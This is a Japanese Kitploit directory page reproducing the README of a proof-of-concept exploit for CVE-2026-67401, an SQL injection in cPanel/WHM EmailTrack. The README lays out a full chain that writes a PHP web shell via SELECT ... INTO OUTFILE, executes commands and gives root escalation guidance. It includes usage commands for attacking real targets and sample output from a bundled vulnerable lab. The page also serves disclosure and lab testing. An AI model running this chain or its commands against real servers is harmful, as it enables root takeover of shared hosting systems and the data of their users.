Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-67401 — CVE-2026-67401の概念実証。cPanel/WHM EmailTrackのSQLインジェクションにより任意ファイル書き込みとroot RCEが可能で、SQLi検出プローブと自己完結型の脆弱ラボを備える。 | Kitploit
ツール/GitHubGitHub/imbas007/cve-2026-67401
脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育ラボと実践
GitHubimbas007/cve-2026-67401

CVE-2026-67401

CVE-2026-67401の概念実証。cPanel/WHM EmailTrackのSQLインジェクションにより任意ファイル書き込みとroot RCEが可能で、SQLi検出プローブと自己完結型の脆弱ラボを備える。

リポジトリを見る
3時間58分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-67401 — cPanel/WHM EmailTrack SQLインジェクション → root RCE

CVE Severity Platform Python

CVE-2026-67401 の概念実証です。これは cPanel & WHM の EmailTrack 機能における重大な SQL インジェクション脆弱性であり、メール関連の権限を持つ認証済みユーザーが任意のファイルを書き込み、root としてコードを実行できるようにします。

発見者: Ali Mustafa 公開日: 2026年9月8日 コンポーネント: EmailTrack (メール配信ログ / トラッキング)


影響を受けるバージョン

修正ビルド 未満 のバージョンが脆弱です。

cPanel ビルド系列修正バージョン
11.11011.110.0.143
11.13411.134.0.55
11.13611.136.0.39
11.13811.138.0.4
WP2 (11.138)11.138.1.9

バージョンは次のコマンドで確認できます:

root@kitploit:~
cat /usr/local/cpanel/version

エクスプロイトチェーン

root@kitploit:~
┌─────────────┐      ┌────────────┐      ┌─────────┐      ┌──────────┐
│ Auth as     │ ───► │ SQLi in    │ ───► │ INTO    │ ───► │ RCE as   │
│ cPanel user │      │ EmailTrack │      │ OUTFILE │      │ root     │
│ (mail priv) │      │ API call   │      │ (shell) │      │          │
└─────────────┘      └────────────┘      └─────────┘      └──────────┘
  1. メール権限を持つアカウントで cPanel に 認証 します。
  2. EmailTrack の account パラメータを通じて インジェクション します。
  3. SELECT ... INTO OUTFILE を使用して PHP ウェブシェルを public_html/ に 書き込み ます。
  4. シェルを通じてコマンドを 実行 します。
  5. cPanel の SUID バイナリ、cron、またはタスクキューを介して 権限昇格 します。

リポジトリの内容

ファイル説明
poc_sqli.pySQL インジェクション検出: ブールベース、時間ベース、UNION カラム数
poc_full_chain.py完全なエクスプロイトチェーン: SQLi → INTO OUTFILE ウェブシェル → RCE → root ガイダンス
lab/vuln_server.py脆弱な EmailTrack バックエンドのローカルシミュレーション (安全、自己完結型)
README.mdこのドキュメント

同梱のラボを使用すると、実際の cPanel サーバーなしで チェーン全体を実行および検証できます。


要件

  • Python 3.8+
  • サードパーティパッケージは不要 — すべて標準ライブラリを使用します。

使用方法

すべてのコマンドはリポジトリのルートから実行します。

1. ローカルラボの実行

root@kitploit:~
python3 lab/vuln_server.py 18123 lab/htdocs
  • 認証情報: alice / s3cr1t
  • エミュレート対象: UAPI ログイン、脆弱な EmailTrack クエリ、SLEEP()、INTO OUTFILE、および PHP ウェブシェル実行。
  • 引数 1: ポート (デフォルト 18123)
  • 引数 2: ドキュメントルート (デフォルト lab/htdocs)

これを 1 つのターミナルで実行したままにし、PoC には 2 つ目のターミナルを使用します。

2. SQL インジェクション検出

root@kitploit:~
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
引数説明
-H, --hostcPanel ホスト、例: https://cp.example.com:2083
-u, --usernameメール権限を持つ cPanel アカウント
-p, --passwordアカウントのパスワード
--paramインジェクション可能なパラメータ (デフォルト: account)
--modedetect (デフォルト)、boolean、timing、union、または all
--sleepタイミングプローブ用の SLEEP() 時間 (デフォルト: 3.0)
--dump-versionUNION を介して DBMS バージョンの抽出を試みる
--insecureTLS 証明書の検証をスキップ

特定のプローブを実行:

root@kitploit:~
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union

# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5

3. 完全なエクスプロイトチェーン

root@kitploit:~
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
  python3 poc_full_chain.py http://127.0.0.1:18123 \
  --shell-base http://127.0.0.1:18123
引数 / 環境変数説明
host (位置引数)cPanel ホスト、または環境変数 CPANEL_HOST を設定
CPANEL_USERメール権限を持つ cPanel アカウント
CPANEL_PASSアカウントのパスワード
--shell-basepublic_html を提供するベース URL (ウェブシェルに到達する場所)
--insecureTLS 証明書の検証をスキップ
--no-escalateRCE 後に停止; root 権限昇格ガイダンスをスキップ
SHELL_NAME (環境変数)ウェブシェルのファイル名 (デフォルト: .mail.cache.php)

自動的に実行されるステージ:

  1. cPanel への認証
  2. SQL インジェクションの確認 (ブールベース + 時間ベース)
  3. UNION によるクエリのカラム数の特定
  4. SELECT ... INTO OUTFILE による PHP ウェブシェルの書き込み
  5. シェルを通じたコマンド実行 (id、whoami、SUID 列挙、…)
  6. root 権限昇格ガイダンスの出力 (SUID whmapi1、cron、タスクキュー)

4. 実際のターゲットに対して

root@kitploit:~
# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
  --insecure --mode detect

# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
  python3 poc_full_chain.py https://cp.example.com:2083 \
  --shell-base https://cp.example.com --insecure

注: デフォルトの --shell-base は、ホストから cPanel 専用ポート (2082/2083) を削除します。ドキュメントルートが別のポートで提供されている場合は、明示的に設定してください。


検証済みの結果

同梱のラボに対して生成された出力:

root@kitploit:~
  CVE-2026-67401  cPanel/WHM EmailTrack SQLi -> File Write -> RCE
  version 1.0

  target: http://127.0.0.1:18123
  user:   alice
  [+] authenticated
  [1] confirming SQL injection in EmailTrack `account`
  [+] boolean-based SQLi CONFIRMED
  [+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
  [2] determining column count via UNION
  [+] target query has 5 columns
  [3] writing PHP web shell via SELECT ... INTO OUTFILE
  [+] shell written -> /home/alice/public_html/.mail.cache.php
  [4] executing commands through the web shell
  [+] id -> uid=1000(x) gid=1000(x) ...

参考文献

  • Critical cPanel SQL Injection Lets Attackers Grab Root Access — The Daily Tech Feed
  • cPanel Security Advisory: CVE-2026-67401
  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command

ライセンス

教育および許可されたセキュリティ研究目的で公開されています。 使用前に 免責事項 を参照してください。

ツールをダウンロード